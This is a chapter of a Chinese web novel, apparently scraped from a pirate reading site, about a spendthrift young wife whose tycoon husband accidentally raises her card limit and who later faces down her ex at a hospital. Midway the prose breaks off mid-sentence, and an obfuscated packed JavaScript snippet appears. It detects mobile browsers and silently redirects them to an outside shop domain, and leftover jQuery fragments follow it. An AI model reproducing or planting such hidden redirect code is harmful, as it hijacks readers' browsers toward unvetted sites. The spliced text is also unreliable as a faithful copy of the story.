文趣网 > 其他小说 > 摆烂后妈在豪门发家致富 > 10. 月薪百万,年薪千万
    最近安桐和他聊得那么愉快,怎么会拉黑他?

    谢屿洲对周立的胡说八道不屑一顾:“不要瞎说。”

    周立决定帮老板认清事实:“您的手机是上个月刚换的,如果没被拉黑,怎么会联系不上太太?”

    这话一针见血,让谢屿洲愣了一下。

    沉默片刻,他拿出手机给安桐打去电话。

    他要证明给周立看。

    熟悉的彩铃声中,很快响起电子机械的女声通报暂时无人接听。

    周立看到了他的证明,偷瞄着老板的神色,默默把自己的手机递过去。

    谢屿洲扫他一眼,很有骨气地没接,转而给管家打电话。

    这次电话很快就接通了,里面传来管家的问候:“先生好。”

    “太太在做什么?”谢屿洲问。

    “太太在客厅里查看今天新买的包。”管家那头隐约传来安桐哼着小曲的轻快音调,谢屿洲隔着电话都能感受到她的欢喜。

    安桐应该只是在忙,没有听到他的来电。

    “她手机刚刚响没响?”谢屿洲问。

    管家很肯定地说:“没有,我刚刚就在给太太倒茶,手机一直是黑屏的。”

    谢屿洲的脸瞬间比安桐的手机屏幕还要黑。

    没再听到谢屿洲的回复,管家贴心地问:“先生,请问您是要跟太太说话吗?”

    客厅里的安桐被爱马仕的各色包包簇拥着,不知道想到了什么,举着她那只价值百万的喜马拉雅铂金包笑出了声。

    她在店里看到的只是普通款,这只镶钻的可是限量款!

    赚翻了!

    她清脆悦耳的笑声落在谢屿洲耳中,仿佛是在嘲笑他这个付钱买单的冤大头。

    谢屿洲直接挂断电话。

    安桐居然真的把他拉黑了。

    她怎么敢的!

    感受着老板无声的愤怒,周立坐立难安,恨不得自己不存在。

    偏偏手机响了一下,谢屿洲的眼神比周立更先望过来,速度快得仿佛一个捉奸的丈夫。

    看到只是银行发来的短信,周立松了口气。

    谢天谢地,这条短信不是太太发的。

    下一秒,周立就恨不得摔了手机。

    因为他看到了短信的具体内容。

    银行告知他已经办完所有手续,只需要谢屿洲再最后确认下,就可以给安桐提升副卡额度。

    这些事情都是周立代谢屿洲去办手续的,消息自然会在第一时间回馈给他。

    这个节骨眼上来这种短信,仿佛他真的跟安桐狼狈为奸,一起骗谢屿洲的钱似的。

    见谢屿洲冷冷盯着这条短信,周立不敢当做看不见,战战兢兢地问:“谢总,给太太的100万额度还升吗?”

    “你说呢?”谢屿洲冷哼一声,打开银行APP就要否掉这项业务。

    他谢屿洲的钱可不是那么好拿的。

    指节分明的手指在屏幕上迅速点了几下,指尖与屏幕碰触发出有力的“哒哒”声,清晰传递出谢屿洲心底此刻的不满。

    别说这100万,就是如今的每月10万,谢屿洲都在考虑要不要断掉。

    毕竟这10万块钱还是他出于人道主义而给安桐的,并没有写在他们的婚前协议中。

    “叮咚”一声,业务完成的短信发送到谢屿洲的手机上。

    【尊敬的黑卡会员您好,士农银行提醒您,您尾号为5201的信用卡副卡成功提升为每月额度100万元。】

    谢屿洲:“……”不好,手滑了。

    周立:“……”这样都涨零花钱,老板真是爱惨了老板娘。

    ……

    被爱惨了的安桐正握着手机站在沙发上尖叫:“啊啊啊啊!!!”

    以前她做梦都只敢想年薪百万,现在可是月薪百万!年薪千万!

    当一个货真价实的富婆,指日可待!

    她的尖叫声惊动了在屋里打游戏的谢楚。

    他以为出事了,急匆匆跑到二楼挑空处的扶手边,看到安桐是在欢呼,一头雾水:“怎么了?”

    安桐冲他高高举起手机,展示自己的光辉功绩,喜悦之情溢于言表。

    她郑重万分地宣布:“你爸给我涨工资了,我爱你爸!”

    谢楚:“……”

    隔得太远,他看不清手机上的字,只能看到安桐整个人都欢乐得仿佛在发光。

    谢楚不高兴地撇撇嘴。

    谢屿洲可真不是东西。

    不养老婆就算了,居然还要老婆给他打工才能拿钱。

    看他那抠抠搜搜的模样,肯定没给老婆多少钱。

    “啦啦~啦啦啦~”

    安桐高兴地唱起歌,抱着手机上上下下地看,仿佛这样就能看到她的100万现金。

    她要去感谢下老男人!

    谢楚不忍在这个时候浇她冷水,默默转身离开,同时愤愤不平地掏出手机给谢屿洲发了条短信。

    【野区之王:抠死你算了!】

    谢屿洲:“???”

    同时,周立的手机也响了一下。

    【宇宙无敌美少女:收到额度提升的短信啦,感谢老公~老公真是世界上最好最好的老公~木嘛木嘛木嘛![小猫打滚撒娇.jpg]】

    感受到谢屿洲的死亡视线,周立想死的心都有了。

    他只是个苦逼打工人,为什么要这么折磨他!!!

    “蹭”一声,谢屿洲忽然站起身。

    他高大的身躯挡住了窗外的日光,屋内瞬间显得昏暗起来。

    周立明明是清白的,可就是莫名心虚,哆哆嗦嗦地说:“太太是在感谢您……”

    “回国!”

    谢屿洲冷冷丢下两个字,脸色铁青地走出会议室。

    周立这才有种活过来的感觉。

    他呼出一大口气,火速拿起手机把安桐发来的消息全删了。

    刚把手机踹进兜里,周立忽然意识到什么,又拿出手机把安桐拉黑。

    只有这样才能证明他和老板娘的清白!

    ……

    快月底了,安桐原本打算把副卡剩余的7011元额度全用完就家里蹲。

    现在天降富贵,这100万的额度要是过期作废,安桐能后悔死。

    她连夜给自己这100.7011万做了个财产规划——先体检,再买金子。

    做富婆,除了有钱,还得有一个好身体。

    到时候哪怕和老男人离婚,这些金子算她的私人物品,也能带走。

    而且金子保值,将来说不定价格还能翻个两三倍,是她的养老钱。

    安桐从未想过能和谢屿洲做长久夫妻。

    现在两人异国他乡,隔着十万八千里,安桐提供点情绪价值,问题不大。

    有朝一日谢屿洲如果回国,安桐难以想象自己得向一个不爱的人履行夫妻义务。

    到时候老男人就会发现小娇妻“变心”了。

    这样的资本家从不做赔本买卖,离婚是早晚的事。

    安桐要求不高,现在给钱她就拿,将来离婚她也不贪心,大家好聚好散。

    就是希望到时候谢屿洲能大方点,不要那么抠门地把她攒下的小金库都扒拉走。

    体检的医院就在市里,体检结束,安桐走在医院的内部路上,打算抄近路去附近的银行买金条。

    她一边看导航,一边盘算着下月去看几个楼盘,准备买个小户型的房子,以备将来离婚后住。

    经过住院部的时候,安桐听到一间病

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632831|206452||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    房里传来吵闹声,几个熟悉的字眼引起了她的注意。

    “姓谢的什么意思?”

    “他一大男人特地让人来给我送一篮子碎鸡蛋,是嘲笑我吗?”

    “我蛋没碎!”

    这嘶吼声有几分耳熟,安桐顺着声音望去,看到了一楼病房中抓狂的宋清野。

    喊这么大声,一听就是假的,宋清野的蛋说不定都成碎碎冰了。

    就是不知道哪位谢姓先生如此幽默,这么快准狠地往宋清野伤口上撒盐。

    真是让安桐心生欢喜。

    病房中除了宋清野,还有一对中年夫妻,是他的父母。

    宋太太抓着宋清野的手试图让他冷静下来:“你别生气,先坐下来输液。”

    宋清野正在气头上,用力挥开宋太太的手,抓起桌上散发出腐臭气息的臭鸡蛋就往外砸。

    安桐灵巧地往后退去,险险避开这一大篮“暗器”。

    她身后正在修建草坪的园丁火了,关掉割草机指着病房怒骂:“有没有素质,怎么乱扔垃圾啊?”

    “关你屁事!”宋清野吼回去,一扭头正好看到站在草丛小径上的安桐。

    聚集在胸腔中的怒火蹭一下涌上来,宋清野怒气冲冲奔向安桐。

    然而他刚迈出第一步,就因扯着碎蛋而痛得龇牙咧嘴,不自觉地弓起身。

    安桐看了个意外的热闹,笑了笑,心情愉悦地打算离开。

    宋清野的父亲宋云利冷着脸走到户外平台上,拦住她冷声质问:“安桐,是不是你去谢总那里告状,导致他给清野送……”

    宋云利望向草地上那篮子碎掉的臭鸡蛋,实在是说不出口。

    但这话猛然让安桐意识到什么,感到不可思议:“臭鸡蛋是谢楚他爸送的?”

    “不然呢?”宋太太扶着宋清野走过来,眼神怨毒到恨不得活剐了安桐,“安桐,做人要善良。就算是清野对不起你,在外面有了别的女人,你也不能这么报复他吧?”

    “他活该。”安桐一听宋太太这话,就知道是个傻X,不想跟她多费口舌。

    安桐现在满脑子都是谢屿洲。

    原来是她家的谢先生如此幽默,这么快准狠地往宋清野伤口上撒盐。

    不愧是能跟她出现在同一张结婚证上的男人。

    不过老男人怎么知道这事的?

    安桐正思考着,宋清野推开宋太太,踩着小碎步朝安桐走去,怒骂不止:“安桐,你个贱人,我不会放过你的!”

    他气势汹汹,来势逼人,高高举起了拳头。

    上次是安桐偷袭,这次他绝对要安桐好看!

    “来啊。”安桐丝毫不怵,捡起园丁放在地上的割草机一键启动,将锋利转动的刀片对准宋清野的脖子。

    她下巴微扬,眼神睥睨,无所畏惧。大有宋清野敢上前,她就生切了他的架势。

    即将冲到她面前的宋清野一下停住脚步,一眼不眨地盯着距离自己脖子不到十公分的割草机。

    机器前端飞快转动的锋利刀片卷起层层气浪,扑在宋清野的脖子上,仿佛无形的刀刃随时能将他切割。

    宋清野额冒冷汗,牙齿打颤,一动不敢动。

    宋云利夫妇脸色大变,飞快上前拉着宋清野往后退:“走走走,别跟这种疯婆子一般见识!”

    三人回到病房,锁上落地窗,隔着厚厚的玻璃怨恨而心有余悸地盯着安桐。

    安桐冷哼一声,冲宋清野喊:“记得给人家草坪清理费,不然我就让所有人都知道你蛋碎了!”

    “草!你敢!”宋清野怒骂。

    “不信你就试试。”安桐关掉割草机还给园丁,拍拍手转身离开。

    然后,她就在不远处看到了熟悉的人,正冲她露出熟悉的敬佩之色。